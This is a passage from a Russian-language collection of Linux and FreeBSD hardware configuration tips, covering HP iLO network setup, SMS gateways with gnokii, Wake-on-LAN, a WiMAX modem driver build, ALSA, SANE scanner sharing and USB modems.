       <MOD_NETWORK_SETTINGS>
       <SPEED_AUTOSELECT value="No"/>
       <FULL_DUPLEX value="Yes"/>
       <NIC_SPEED value="100"/>
       <DHCP_ENABLE value="No"/>
       <IP_ADDRESS value="10.20.30.2"/>
       <SUBNET_MASK value="255.255.255.0"/>
       <GATEWAY_IP_ADDRESS value="10.20.30.254"/>
       <DNS_NAME value="ILOCZC73424J4"/>
       <DOMAIN_NAME value=""/>
       <DHCP_GATEWAY value="No"/>
       <DHCP_DNS_SERVER value="No"/>
       <DHCP_STATIC_ROUTE value="No"/>
       <REG_WINS_SERVER value="No"/>
       <PRIM_DNS_SERVER value="0.0.0.0"/>
       <SEC_DNS_SERVER value="0.0.0.0"/>
       <STATIC_ROUTE_1 DEST="0.0.0.0" GATEWAY="0.0.0.0"/>
       <STATIC_ROUTE_2 DEST="0.0.0.0" GATEWAY="0.0.0.0"/>
       </MOD_NETWORK_SETTINGS>
       </RIB_INFO>
       </LOGIN>
    
    Для загрузки отсеченных в файле конфигурации настроек выполняем:
    
       sudo hponcfg -f ~/ilo_network.xml
    
    Чтобы изменения подействовали требуется перезагрузка iLo, которую можно
    выполнить создав файл ilo_reboot.xml:
    
       <RIBCL VERSION="2.0">
       <LOGIN USER_LOGIN="Administrator" PASSWORD="iLOPassword">
       <RIB_INFO MODE="write">
       <RESET_RIB/>
       </RIB_INFO>
       </LOGIN>
       </RIBCL>
    
    и выполнив команду
    
       sudo hponcfg -f ~/ilo_reboot.xml
    
     
    ----* Прием и отправка SMS в Linux   [комментарии]
     
    Для организации автоматизации приема и отправки SMS в Linux можно использовать пакет
    gnokii и подключенный к системе телефон. В
    простейшем случае можно использовать возможность консольной утилиты gnokii из
    пакета gnokii-cli, но при необходимости более сложной автоматизации имеет смысл
    воспользоваться Perl-модулем GSM::SMS или GSMD::Gnokii.
    
    Устанавливаем gnokii, для Debian/Ubuntu:
    
       sudo apt-get install gnokii-cli gnokii-smsd xgnokii
    
    , где gnokii-cli - интерфейс командной строки, gnokii-smsd демон для работы с
    SMS, а xgnokii - GUI интерфейс. Последние два ставим на свое усмотрение.
    
    Подключаем телефон через USB-порт. Смотрим в /var/log/messages к какому
    устройству осуществилась привязка (например, /dev/ttyACM0)
    
    Создаем файл конфигурации /home/mc/.gnokiirc
    
       [global]
       model = AT
       connection = serial
       port = /dev/ttyACM0
    
    где, model - тип устройства: AT - для большинства телефонов, series40 - для
    телефонов Nokia с системой series40, gnapplet для старых телефонов Nokia Series60.
    
    connection - тип соединения serial - USB/RS-232, irda - инфракрасный порт, bluetooth - Bluetooth.
    
    port - порт, для USB - /dev/ttyACM0 или /dev/ttyUSB0, для Bluetooth указываем
    адрес устройства ("aa:bb:cc:dd:ee:ff").
    
    Для USB-устройств также можно попробовать сочетание connection=dku2libusb и
    port = N, где N - номер устройства.
    
    Проверяем поддерживается ли телефон:
    
       gnokii --identify
    
       GNOKII Version 0.6.28
       IMEI         : IMEI56565656565656
       Manufacturer : Motorola CE, Copyright 2000
       Model        : GSM900","GSM1800","GSM1900","MO
       Product name : GSM900","GSM1800","GSM1900","MO
       Revision     : R368_G_0B.A0.0FR
    
    Для мониторинга активности:
    
       gnokii --monitor
    
    Возможности gnokii позволяют достаточно полно контролировать телефон, но нас
    интересует работа с SMS.
    
    Чтение SMS:
    
       gnokii --getsms тип_памяти старт стоп
    
    где тип_памяти: SM - для SIM-карты, ME - для внутренней памяти и MT для
    комбинированных хранилищ, IN - inbox, OU - outbox. Посмотреть какое хранилище
    используется на телефоне можно командой "gnokii --showsmsfolderstatus"
    старт - начальная позиция сообщения
    cтоп - конечная позиция сообщения, если не указать будет прочитано одно
    сообщение, если указать "end" будут выведены все сообщения до конечной позиции
    
    Пример для вывода всех сохраненных SMS:
    
       gnokii --getsms MT 1 end
    
    
    Для отправки SMS можно использовать команду:
    
       echo "текст" | gnokii --sendsms номер
    
    Например:
    
       echo "тест" | gnokii --sendsms '+79094126426'
    
       Send succeeded with reference 131!
    
    Другой способ отправки: в комплекте с Perl-модулем SMS::Send поставляется
    утилита xpl-sender, которую можно использовать не только как пример для
    написания скриптов, но и отправлять через неё сообщения:
    
       xpl-sender -m xpl-cmnd -c sendmsg.basic to=+7909344355 body="test"
    
    
    
    Вывод содержимого адресной книги:
    
       gnokii --getphonebook MT 1 end
    
    Адресную книгу можно сохранить, а затем восстановить:
    
       gnokii --getphonebook MT 1 end --vcard > phonebook.txt
       gnokii --writephonebook --vcard < phonebook.txt
    
    
    Настройка SMS-шлюза
    
    В состав gnokii входит демон SMSD, который позволяет организовать работу
    полноценного SMS-шлюза, на лету обрабатывающего входящие SMS. Для хранения
    отправляемых и получаемых сообщений SMSD может использовать СУБД MySQL,
    PostgreSQL (плагины gnokii-smsd-mysql и gnokii-smsd-pgsql) или файловое
    хранилище (--module file).
    
    Ставим недостающие пакеты:
    
       sudo apt-get install gnokii-smsd-mysql mysql-server
    
    Создаем БД
    
      mysql -u smsgw
      > create database smsgw;
    
    Создаем структуру БД, используя поставляемый в комплекте с gnokii-smsd-mysql пример:
    
      mysql -u smsgw smsgw < /usr/share/doc/gnokii-smsd-mysql/sms.tables.mysql.sql
    
    в результате будут созданы три простые таблицы inbox, outbox и multipartinbox,
    структура которых имеет следующий вид:
    
       CREATE TABLE inbox (
         id int(10) unsigned NOT NULL auto_increment,
         number varchar(20) NOT NULL default '',
         smsdate datetime NOT NULL default '0000-00-00 00:00:00',
         insertdate timestamp DEFAULT CURRENT_TIMESTAMP,
         text text,
         phone tinyint(4),
         processed tinyint(4) NOT NULL default '0',
         PRIMARY KEY  (id)
       );
       CREATE TABLE outbox (
         id int(10) unsigned NOT NULL auto_increment,
         number varchar(20) NOT NULL default '',
         processed_date timestamp DEFAULT 0,
         insertdate timestamp DEFAULT CURRENT_TIMESTAMP,
         text varchar(160) default NULL,
         phone tinyint(4),
         processed tinyint(4) NOT NULL default '0',
         error tinyint(4) NOT NULL default '-1',
         dreport tinyint(4) NOT NULL default '0',
         not_before time NOT NULL default '00:00:00',
         not_after time  NOT NULL default '23:59:59',
         PRIMARY KEY  (id)
       );
       CREATE TABLE multipartinbox (
         id int(10) unsigned NOT NULL auto_increment,
         number varchar(20) NOT NULL default '',
         smsdate datetime NOT NULL default '0000-00-00 00:00:00',
         insertdate timestamp DEFAULT CURRENT_TIMESTAMP,
         text text,
         phone tinyint(4),
         processed tinyint(4) NOT NULL default '0',
         refnum int(8) default NULL,
         maxnum int(8) default NULL,
         curnum int(8) default NULL,
         PRIMARY KEY  (id)
       );
      
    Запускаем smsd:
    
      /usr/sbin/smsd -u smsgw -d smsgw -c localhost -m mysql -f /var/log/smsdaemon.log
    
    
    где "-u" - имя пользователя БД, "-d" - имя базы, "-с" - хост, а "-m" - модуль хранения.
    
    Отправив теперь SMS на подключенный к компьютеру телефон, smsd сразу перехватит
    его и запишет в базу.
    
    выполнив "select * from inbox;"  увидим примерно такое:
    
      | id | number | smsdate | insertdate |text | phone | processed |
      |  1 | +7909343156224 | 2011-01-20 10:12:05 | 20110120130123 | Test | NULL | 0 |
    
    Для отправки сообщения достаточно добавить новую запись в таблицу outbox, smsd
    сразу его подхватит его и отправит. Например:
    
       insert into outbox (number,text) values('+7909344355', 'Тест);
    
    
    В заключение можно отметить, что smsd  может работать без СУБД, используя
    файловое хранилище. Пример запуска:
    
       /usr/sbin/smsd -m file -c spool-директория
    
    Для отправки SMS в spool-директории нужно создать файл с любым именем в формате:
       номер
       текст
    
    после успешной отправки файл будет удален.
    
    Через опцию "-u" можно указать путь к скрипту, который будет выполняться при
    каждом получении SMS. Иначе входящие сообщения будут выводиться в стандартный
    выходной поток в формате "действие номер дата < текст".
    
    Дополнение: Вместо gnokii можно использовать интенсивно развивающийся форк [[http://wammu.eu/
    gammu]], содержащий поддержку некоторых дополнительных телефонов.
    
     
    ----* Настройка в Linux удаленного включения машины при помощи Wake On Lan (доп. ссылка 1)   Автор: ashep  [комментарии]
     
    Задача: обеспечить возможность удаленного включения компьютера с другой машины в локальной сети.
    
    Для того, чтобы иметь возможность разбудить компьютер удалённо, необходимо,
    чтобы в нём был установлен источник питания ATX версии не ниже 2.01,
    материнская плата, поддерживающая Wake On Lan, а также сетевая плата с
    поддержкой этой технологии.
    
    Настройка
    
    Определить, поддерживает ли материнская плата вашего компьютера Wake On Lan,
    можно зайдя в настройки CMOS Setup в раздел настроек управления питанием.
    Найдите там опцию "Wake On Lan" и убедитесь, что она включена.
    
    После загрузки системы установите, если необходимо, пакет ethtool, при помощи
    которого можно в том числе и переключать сетевую плату в режим пробуждения по
    сигналу Wake On Lan от других машин:
    
       sudo apt-get install ethtool
    
    Далее, необходимо определить, поддерживает ли установленная сетевая плата Wake
    On Lan, и включена ли эта опция:
    
       sudo ethtool eth0 | grep -i wake-on
    
       Supports Wake-on: pumbg
       Wake-on: d
    
    В строке Supports Wake-On перечислены механизмы, поддерживаемые сетевой платой.
    В моём примере я пользуюсь методом отправки так называемым Magic Packet, и если
    вам нужно то же самое, то убедитесь, что в Supports Wake On присутствует буква
    "g". Буква "d" в строке Wake-on обозначает, что Wake On Lan для данного
    сетевого интерфейса отключён. Чтобы включить его в режим распознавания Magic
    Packet, необходимо выполнить:
    
       ethtool -s eth0 wol g
    
    Имейте ввиду, что после включения компьютера, вероятней всего, опция Wake-on
    опять перейдёт в состояние "d" и, если вам нужно, добавьте приведённую выше
    команду куда-нибудь в /etc/rc.local.
    
    Теперь всё готово для пробуждения системы по получению Magic Packet. Для того,
    чтобы его отправить, необходимо знать MAC-адрес сетевого интерфейса включаемого
    компьютера, поэтому прежде, чем выключать систему, запишите его:
    
       ifconfig eth0 | grep -i hwaddr
       eth0      Link encap:Ethernet  HWaddr 00:0e:2e:b9:cb:ad
    
    Теперь можно выключать систему:
    
       sudo shutdown -h now
    
    
    Включение
    
    Теперь с любого другого компьютера, находящегося в том же сегменте локальной
    сети (в принципе, это необязательно, но тогда необходимо, чтобы в вашей сети
    маршрутизаторы корректно пробрасывали широковещательные пакеты), можно включить
    ранее сконфигурированную удалённую систему. Для этого понадобится утилита
    wakeonlan, которую необходимо установить:
    
       sudo apt-get install wakeonlan
    
    Разбудить выключенную систему теперь можно командой (обратите внимание,
    wakeonlan не требует прав суперпользователя):
    
       wakeonlan -p 8 00:0e:2e:b9:cb:ad
    
    Опцией -p указывается номер UDP-порта, с которого будет отправлен Magic Packet.
    Указание этой опции обязательно, поскольку по умолчанию wakeonlan использует
    девятый порт, помеченный в /etc/services как discard, что означает то, что
    пакет с этого порта отправить не получится. В принципе, можно использовать
    любой незанятый в системе UDP-порт.
    
     
    ----* Настройка 4G WiMAX-модема на чипах Beceem в Linux   Автор: Oddentity  [комментарии]
     
    Недавно в инете появился Sprint 4G Depelopment Pack, содержащий исходники
    драйверов и API для модемов на чипсете Beceem, а также документацию и различные
    тестовые утилиты.
    
    К сожалению, поставляемая документация местами не соотвествует, описывает
    прежнюю версию драйверов и многое пришлось додумывать по ходу. В частности, там
    заявлено ядро версии от 2.6.9 и выше. На самом же деле, требуется ядро минимум
    2.6.29 т.к. используются некоторые функции USB Core API, которых нет в прежних
    ядрах. В этом был первый долгий затык - попытка установить на CentOS 5.5.
    
    Необходимые требования для сборки и корректной работы:
    - Ядро Linux версии не ниже 2.6.29
    - Административный доступ с правами root
    - Пакеты linux-source, kernel-headers, openssl 0.9.8, С-compiler, usb-modeswitch и др.
    
    В этой статье описывается установка на Ubuntu-server-10.10 i386 с ядром 2.6.35.
    Используется 4G-модем Huawei BM338 на чипсете Beceem BCSM250 от провайдера
    byfly (Белтелеком). Модем позиционируется как решение Mobile-WiMAX и работает
    на частоте 3,5 ГГц.
    
    Сссылка на архив Sprint 4G Depelopment Pack: http://developer.sprint.com/getDocument.do?docId=101032
    
    
    1. Подготовка ядра
    
    Устанавливаем все необходимые пакеты:
    
    
       apt-get install linux-source linux-headers-$(uname -r) openssl unzip dos2unix patch
       cd /usr/src
       tar xvfj linux-source-2.6.35.tar.bz2
       cd linux-source-2.6.35
       make oldconfig && make prepare
       make modules_prepare
    
    2. Установка  и настройка usb-modeswitch
    
    Утилита usb_modeswitch необходима для автоматического переключения устройства
    из режима ZeroCD (на котором драйвера для Windows) в режим модема. Если
    запустить lsusb, то увидим устройство в режиме ZeroCD:
    
       Bus 001 Device 003: ID 198f:bccd Beceem Communications Inc.
    
    Устанавливаем:
    
       apt-get install usb-modeswitch
       cat /etc/usb_modeswitch.d/198f\:bccd >> /etc/usb_modeswitch.conf
    
    Редактируем файл /lib/udev/rules.d/40-usb_modeswitch.rules - можно удалять
    описания всех устройств, кроме Beceem. Должно остаться что-то вроде:
    
       LABEL="modeswitch_rules_begin"
       # Beceem BCSM250
       ATTRS{idVendor}=="198f", ATTRS{idProduct}=="bccd",  RUN+="usb_modeswitch '%b/%k'"
       LABEL="modeswitch_rules_end"
    
    Перезапускаем udev:
    
       service udev restart
    
    
    Теперь, если снова вставить модем, вывод lsusb должен быть такой:
    
       Bus 001 Device 003: ID 198f:0220 Beceem Communications Inc.
    - 198f:bccd поменялся на 198f:0220
    
    
    3. Установка модуля ядра и Beceem API Library
    
    Распаковываем скачанный архив:
    
       tar xvfz Sprint4GDeveloperPack-1.1.tar.gz
       cd Sprint4GDeveloperPack-1.1
    
    Собираем:
    
       ./install.sh
    
    Скрипт задаст ряд вопросов по поводу расположения директорий, главное указать
    правильную директорию с исходниками ядра. В моем случае это /usr/src/linux-source-2.6.35
    
    Скрипт соберет модуль ядра drxvi314.so, библиотеку libxvi020.so и копирует
    прошивку девайса в /lib/firmware. После чего выдаст ошибку - остальные
    компоненты будем собирать позже вручную. Нам еще потребуется конфиг устройства
    от провайдера, берем его из папки с установленной программой в винде (Program
    files/Wimax Connection Manager/Driver/Firmware/macxvi.cfg) и кладем в
    /lib/firmware. Теперь загружаем модуль ядра:
    
       modprobe drxvi314
    
    Если все прошло удачно - на модеме должен загореться красный светодиод. Также
    стоит глянуть вывод dmesg -c, там должно быть что-то типа
    
       ...
       [    6.240000]
       [    6.240035] register_networkdev:Beceem Network device name is eth1!
       ...
       ...
       [    7.197554] usbcore: registered new interface driver usbbcm
       [    7.197562] Initialised usbbcm
    
    Для автозагрузки добавляем drxvi314 в /etc/modules
    Поднимаем eth1:
    
       ifconfig eth1 up
    
    
    4. Установка Beceem Connection Manager и библиотек
    
       unzip CSCM_v1.1.6.0_source.zip
       cd CSCM
    
    Т.к. в составе исходников не оказалось заголовочных файлов OpenSSL, качаем нужную версию с сайта:
    
       wget http://www.openssl.org/source/openssl-0.9.8o.tar.gz
       tar xvfz openssl-0.9.8o.tar.gz
    
    и кладем заголовочные файлы в нужные места:
    
       cp -R openssl-0.9.8o/include/openssl wpa_supplicant/openssl
       cp -R openssl-0.9.8o/crypto crypto
       cp -R openssl-0.9.8o/ssl ssl
       cp -R openssl-0.9.8o/e_os2.h e_os2.h
       cp -R openssl-0.9.8o/include/openssl BeceemEAPSupplicant/BeceemEngine/openssl
       cp -R openssl-0.9.8o/crypto BeceemEAPSupplicant/crypto
       cp -R openssl-0.9.8o/e_os2.h BeceemEAPSupplicant/e_os2.h
       ln -s /lib/libssl.so.0.9.8 /lib/libssl.so
       ln -s /lib/libcrypto.so.0.9.8 /lib/libcrypto.so
    
    Конвертируем build.sh в UNIX-формат и собираем:
    
       dos2unix build.sh
       chmod +x build.sh
       ./build.sh pc_linux
    
    В конце скрипта должно быть написано SUCCESS по всем компонентам.
    
    Кладем библиотеки, демон и клиент в нужные места:
    
       cp bin_pc_linux/bin/lib* /lib/
       cp bin_pc_linux/bin/wimax* /usr/local/bin/
    
    
    5. Конфигурирование демона wimaxd
    
    Тут есть одна непонятная вещь, над которой тоже пришлось долго "плясать с бубном".
    
    Ранее, при сборке модуля ядра, мы уже скопировали конфиг устройства (файл
    macxvi.cfg), поставляемый провайдером. Такой же файлик есть и в архиве
    Sprint'а, но с ним модем ведет себя странно (не работают светодиоды, поиск БС
    происходит очень долго и т.д.). Но при этом, демон wimaxd, наоборот, корректно
    работает именно с конфигом Sprint'а (с родным провайдерским конфигом были
    проблемы с TLS-аутентификацией).
    
    В общем, в /lib/firmware/ должно быть 2 файла:
    
    macxvi.cfg - конфиг провайдера, его использует модуль ядра.
    
    macxvi-sprint.cfg - конфиг Sprint'а из архива (лежит в
    Sprint4GDeveloperPack-1.1/Rel_5.2.7.3P1_USB/Tools/config/CFG_files_for_VSG_testing/macxvi_VSG_2.6-3.5_FLASH_r37.cfg) -
     он нужен для демона wimaxd
    
    Создаем конфиг wimaxd, например /etc/wimaxd.conf
    После изучения документации, а также методом проб и ошибок получилось вот такое содержимое:
    
    /etc/wimaxd.conf:
    
       BandwidthMHz                    10
       CenterFrequencyMHz              3416 3426 3436 3446 3516 3526 3536 3546
    
       AuthEnabled                     Yes
       EAPMethod                       4
       UserIdentity                    '6816C0B1C045@wimax.beltel.by'
    
       ValidateServerCert              Yes
       CACertPath                      '/usr/local/beceem/certs'
       CACertFileName                  '/usr/local/beceem/certs/ca.pem'
       TLSDeviceCertFileName           '/usr/local/beceem/certs/cpecert.pem'
       TLSDevicePrivateKeyFileName     '/usr/local/beceem/certs/cpekey.pem'
       InnerNAIChange                  Yes
    
       BeceemEngineFileName            '/lib/libengine_beceem.so'
    
       #AuthLogLevel                   4
       #AuthLogFileName                '/tmp/CM_Auth.log'
    
       FirmwareFileName                '/lib/firmware/macxvi200.bin'
       ConfigFileName                  '/lib/firmware/macxvi-sprint.cfg'
    
    Немного пояснений.
    
    Параметры BandwidthMHz и CenterFrequencyMHz взяты из настроек виндошной программы.
    
    EAPMethod 4 - EAP-TLS
    
    UserIdentity - логин. Первая часть логина до символа @ - это МАС-адрес
    устройства без двоеточий. Также взят из настроек виндошной программы.
    
    CACertPath, CACertFileName, TLSDeviceCertFileName, TLSDevicePrivateKeyFileName
    - пути к файлам сертификатов и ключей. Их нужно взять из папки с установленной
    программой в винде (Program Files/Wimax Connection Manager/cert/) и положить в
    указанную конфигом директорию.
    
    InnerNAIChange Yes - не знаю что это, но без этой опции ошибка аутентификации при подключении.
    
    FirmwareFileName, ConfigFileName - пути к файлам прошивки и конфига от Sprint'a
    
    
    6. Подключение
    
    Запускаем демон:
    
       wimaxd -D -c /etc/wimaxd.conf
    
    Результатом правильной работы будет непрерывный вывод сообщения  Link status =
    WAIT FOR PHY SYNC CMD - это значит, что демон готов принимать команды от
    клиента. Открываем другую консоль и запускам клиент:
    
       wimaxc -i
    
    Должно появится приглашение
    
       Beceem CM Server Version 1.1.6.0
       > 
    
    а в консоли демона сообщение
    
       Client socket 00000006 lock Beceem API: SUCCESS (wait = 0 ms)
       Client socket 00000006 unlock Beceem API: Success
    
    Начинаем сканирование:
    
       > search
    
    Через секунд 30 клиент выдаст найденные BSIDs, что-то вроде такого:
    Network search returned 4 base stations.
    
       Idx BSID Pre      Freq      BW  RSSI  CINR
        0  01:01:00:00:02:00:17:00 0x05 3416.000  10.000   -70    26
        1  01:01:00:00:02:00:17:20 0x05 3426.000  10.000   -76    17
        2  01:01:00:00:02:00:17:10 0x05 3436.000  10.000   -74    20
        3  01:01:00:00:02:00:17:30 0x05 3446.000  10.000   -72    24
    
    Подключаемся к той, у которой соотношение сигнал/шум максимальное, в данном случае 0
    
       > connect 0
    
    и если параметры аутентификации заданы верно, соединение будет установлено, а
    светодиод модема сменится на зеленый с мигающим желтым. В консоли демона можно
    увидеть такую информацию:
    
       =============== Received Message Start (2010/09/24 18:03:10.622) ===========
       u32State = Network Entry completed
       Service flow response received  (Type = 6 - Subtype = 1 - Length =    8476)
       Service Flow Add Indication:
       Type               = 13
       Direction          = Uplink
       Connection ID      = 10039
       Virtual CID        = 4
       Service flow ID    = 513
       Max sustained rate = 512 kbps
       Traffic priority   = 0
       =============== Received Message End (type=6 sub-type=1) ===============
       Device status indication: Layer 2 connected
    
       =============== Received Message Start (2010/09/24 18:03:10.682) ===========
       u32State = Network Entry completed
       Service flow response received  (Type = 6 - Subtype = 1 - Length =  8476)
       Service Flow Add Indication:
       Type               = 13
       Direction          = Downlink
       Connection ID      = 10040
       Virtual CID        = 5
       Service flow ID    = 512
       Max sustained rate = 2680 kbps
       Traffic priority   = 0
       ================
       Link status = LINKUP ACHIEVED
    
    Здесь видны параметры скорости даунлинка/аплинка (2680/512 kbps - ограничение провайдера).
    
    Если соединение не установилось - нужно смотреть вывод ошибок в консоли демона
    и пытаться исправить. Также будет полезно включить опции AuthLog и просмотреть
    детальный лог. Вполне вероятно, для других провайдеров параметры аутентицикации
    будут совсем другие.
    
    
    7. Финальные шаги
    
    После того, как все будет правильно настроено - демон можно запустить в фоне:
    
       wimaxd -c /etc/wimaxd.conf
    
    и занести в стартовые скрипты системы.
    
    Клиентскую часть тоже можно автоматизировать, в документации есть пример
    скрипта на Python. Но я не силен в программировании на Python, поэтому оставляю
    это за рамками статьи.
    
    Осталось настроить PPPoE-соединение к провайдеру. Тут уже все стандартно -
    запускаем pppoeconf и отвечаем на вопросы. Обратите внимание, что интерфейс
    eth1 изначально не поднят, перед запуском PPPoE его нужно активировать
    (ifconfig eth1 up)
    
    Стартуем:
    
       pon dsl-provider
       ... и вуаля! Проверяем, поднялся ли ppp0:
       ifconfig ppp0
    
       ping ftp.mgts.by
       --- ftp.mgts.by ping statistics ---
       177 packets transmitted, 177 received, 0% packet loss, time  176214ms
       rtt min/avg/max/mdev = 42.551/59.213/71.809/8.631 ms
    
    Работает все хорошо, проблем замечено не было. Скорость - максимальная,
    ограниченная провайдером. Субъективно, пинг стал меньше и ровнее, чем под Windows.
    
    При подготовке статьи была использована документация из Sprint 4G Depelopment Pack.
    
    P.S. Выражаю благодарность человеку под ником amod-cccp за предоставленный линк
    на этот пак (месяц назад искал какую-либо информацию - ничего не нашел).
    
     
    ----* Использование iPhone как USB-модема в Ubuntu (доп. ссылка 1)   Автор: Юрий Евстигнеев  [комментарии]
     
    Для настройки работу iPhone в качестве модема через USB, необходимо установить
    свежие версии libimobiledevice, ipheth (iPhone USB Ethernet Driver) и gvfs из PPA-репозитория
    pmcenery:
    
      sudo add-apt-repository ppa:pmcenery/ppa
      sudo aptitude update
      sudo aptitude install libimobiledevice libimobiledevice-utils ipheth-utils gvfs
    
    Включаем на телефоне режим модема.
    Подключаем телефон через USB и настраиваем соединение в NetworkManager.
    
     
    ----* Подключение мультимедиа клавиш на usb-клавиатуре во FreeBSD (доп. ссылка 1)   Автор: arachnid  [комментарии]
     
    Условие - FreeBSD не ниже 8-ки. Мультимедиа клавиши usb-шных клавиатур не
    генерируют фиксированные скан-коды, поэтому этим придется заняться uhidd.
    Необходимо установить
    
       /usr/ports/sysutils/uhidd
    
    для того, что бы связать клавиши со скан-кодами, сначала запустим uhidd следующим образом:
    
       uhidd -o /dev/ugenX.X
    
    где параметр "-о" значит, что обслуживать демон будет только
    мультимедиа-клавиши, а номера в ugen должны ссылаться на клавиатуру.
    
    Запускаем
    
       usbconfig
    
    и смотрим вывод
    
    После запуска последовательно нажимаем все мультимедиа кнопки. на какие-то
    может быть реакция, на какие-то нет - пока неважно - главное последовательно
    пройтись по всем кнопкам.
    
    в результате этого мы получим файл
    
    /var/run/uhidd.ugenX.X/cc_keymap
    
    следующего вида
    
       0x046d:0xc30e={
         cc_keymap={
            Play/Pause="0x5A"
            Mute="0x5F"
            Volume_Increment="0x62"
            Volume_Decrement="0x63"
            AL_Consumer_Control_Configuration="0x71"
            AC_Home="0x66"
         }
       }
    
    
    где первыми идет обозначение клавиатуры (вендор:модель), а затем названия
    кнопок с произвольно присвоенными скан-кодами. и вот здесь есть одна хитрость -
    uhidd выбирает эти коды из списка свободных (посмотреть список можно в конце
    man uhidd.conf), но может так получиться, что какие-то коды уже заняты. в таком
    случае для этих клавиш надо прописать коды самостоятельно, но об этом чуть позже.
    
    Далее создаем файл /usr/local/etc/uhidd.conf
    
       default={
         mouse_attach="NO"
         kbd_attach="NO"
         vhid_attach="NO"
         cc_attach="YES"
       }
    
    
    повторяющий ту же опцию "-o", которую указывали при запуске вручную
    теперь
    
       cat /var/run/uhidd.ugenX.X/cc_keymap >> /usr/local/etc/uhidd.conf
    
    и делаем
    
       /usr/local/etc/rc.d/uhidd start /dev/ugenX.X
    
    и настраиваем  свой DE. правда здесь  может поджидать  маленькая досада  -
    поскольку uhidd  назначает скан-коды произвольно  из списка  неиспользуемых,
    то у  меня получилось, что  скан-код  с одной  из клавиш  не обрабатывался. В
    этом случае  просто назначаем  клавише другой  скан-код  из доступных.
    
    в случае, если window manager не поддерживает назначения произвольных сканкодов
    на нажатия, а обрабатывает только стандартные, тогда надо использовать
    
       xmodmap .Xmodmap
    
    где в .Xmodmap 
    
       keycode 170 = XF86AudioRaiseVolume
       keycode 184 = XF86AudioLowerVolume
       keycode 190 = XF86AudioMute
       ......
    
    Ссылки на использованные материалы:
     * http://wiki.freebsd.org/uhidd#head-629d89bc56c27990a707d46a32462dcdbdd3ccf7
     * man uhidd
     * man uhidd.conf
    
     
    ----* Подключение нескольких звуковых плат через ALSA (доп. ссылка 1) (доп. ссылка 2)   Автор: Max Tyslenko  [комментарии]
     
    При наличии в системе 2 звуковых плат, встроенной и внешней, Kubuntu по
    умолчанию для работы выбрала встроенную. Переключить вывод на внешнюю карту
    можно через GUI-конфигуратор "Параметры системы" / "Мультимедиа", но интерес
    представляет способ изменения активной карты из консоли.
    
    В помощь нам придет утилита: asoundconf
    
        $ asoundconf
        Usage:
        asoundconf is-active
        asoundconf get|delete PARAMETER
        asoundconf set PARAMETER VALUE
        asoundconf list
    
        Convenience macro functions:
        asoundconf set-default-card PARAMETER
        asoundconf reset-default-card
        asoundconf set-pulseaudio
        asoundconf unset-pulseaudio
        asoundconf set-oss PARAMETER
        asoundconf unset-oss
    
    Для переключения активной карты воспользуемся командой:
    
        $ asoundconf set-default-card PARAMETER
    
    Вместо параметра PARAMETER нужно указать имя звуковой карты, узнать которое можно через команду:
    
        $ asoundconf list
        Names of available sound cards:
        NVidia
        Intel
    
    В итоге выполняем:
    
        asoundconf set-default-card NVidia
    
    Второй способ - внести изменения в файл конфигурации ~/.asoundrc (локальный для
    пользователя) или /etc/asound.conf, в котором прописать:
    
       pcm.!default {
           type hw
           card NVidia
       }
    
    
    идентификатор карты можно посмотреть выполнив:
    
       cat /proc/asound/cards
    
    Дополнительно можно указать параметр "device", в котором привести номер
    устройства вывода (колонки, наушники и т.п.). Список устройств можно посмотреть
    через команду:
    
       cat /proc/asound/devices
    
    Прослушать заданный файл через определенное устройство можно, например, так:
    
       aplay -D hw:0,2 file.wav
    так
       aplay -D plughw:0,0 file.wav
    или так
       mplayer file.wav -ao alsa:device=hw=0.0
    
     
    ----* Организация совместного доступа к сканеру по сети (доп. ссылка 1)   Автор: Роман Сукочев  [комментарии]
     
    Задача: организовать совместный доступ пользователей с разных машин локальной
    сети к сканеру HP Scanjet G3110, подключенному к ПК с Ubuntu Linux.
    
    Настройка сервера к которому подключен сканер:
    
    1. Устанавливаем пакет 'sane-utils':
    
      sudo apt-get install sane-utils
    
    2. Добавляем в файл конфигурации /etc/sane.d/saned.conf IP-адреса компьютеров,
    которым необходимо открыть доступ к сканеру.
    
    3. В файл /etc/inetd.conf, при использовании в Ubuntu openbsd-inetd, добавляем
    или раскомментируем строку:
    
       sane-port stream tcp nowait saned:saned /usr/sbin/saned saned
    
    Если используется xinetd, настраиваем вызов saned по аналогии.
    
    4. Создаем группу scanner:
    
       sudo groupadd scanner
    
    добавляем себя и пользователя saned в эту группу:
    
       sudo usermod -aG scanner $USER
       sudo usermod -aG scanner saned
    
    5. Для организации доступа к сканеру из группы scanner редактируем файл /lib/udev/rules.d/40-libsane.rules
    ищем там свой сканер. Выглядеть его упоминание может примерно так:
    
       # Hewlett-Packard ScanJet G3110
       ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="4305", ENV{libsane_matched}="yes"
    
    приводим строку к такому виду:
    
       # Hewlett-Packard ScanJet G3110
       ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="4305", ENV{libsane_matched}="yes", MODE="664", GROUP="scanner"
    
    Если сканера нет в списке, его нужно добавить по аналогии с остальными
    сканерами. idVendor и idProduct сканера можно узнать с помощью команды:
    
       sane-find-scanner
    
    6. Перезагружаем компьютер для того чтобы удостовериться, что после
    перезагрузки все заработает как надо, или вручную перезапускаем сервисы saned,
    udev, openbsd-inetd (или xinetd).
    
    
    Настройка клиентской машины
    
    1. Устанавливаем пакет sane-utils:
    
       sudo apt-get install sane-utils
    
    2. В конец файла /etc/sane.d/net.conf добавляем IP-адрес сервера к которому подключен сканер.
    
    3. Теперь можно пробовать сканировать с помощью XSane или другой подходящей
    программой, используя расшаренный сканер.
    
    На ПК, работающих под Windows, для работы с Sane-сервером можно использовать
    такие клиенты, как XSane-win32 (http://www.xsane.org/xsane-win32.html) или
    SaneTwain (http://sanetwain.ozuzo.net/), для Mac OS X - Twain-sane (http://www.ellert.se/twain-sane/).
    
    Для организации сканирования на стороне клиента через web-браузер можно
    использовать проект PHPSane (http://sourceforge.net/projects/phpsane/).
    
     
    ----* Настройка работы CDMA модема через /dev/ttyACM0   Автор: Игорь Гаркуша  [комментарии]
     
    Окружение
    
    ОС - Fedora 11 (Russian Remix). Ядро 2.6.29.4-167.fc11.i686.PAE. Mодем Maxon
    Minimax MM-5500U (CDC ACM модем). Файлы /etc/wvdial.conf, /etc/resolv.conf
    настроены верно. Используется верно настроенная программа дозвона
    chestnut-dialer (вер. 0.3.3) (хотя можно и без нее если установлен wvdial).
    
    Ситуация 1.
    
    Загружается ОС. Модем отключен. Затем модем включается и дозвон невозможен,
    поскольку отсутствует файл устройства /dev/ttyACM0.
    
    Мониторинг командой udevadm monitor показывает, что его удаляет ядро и затем Udev.
    
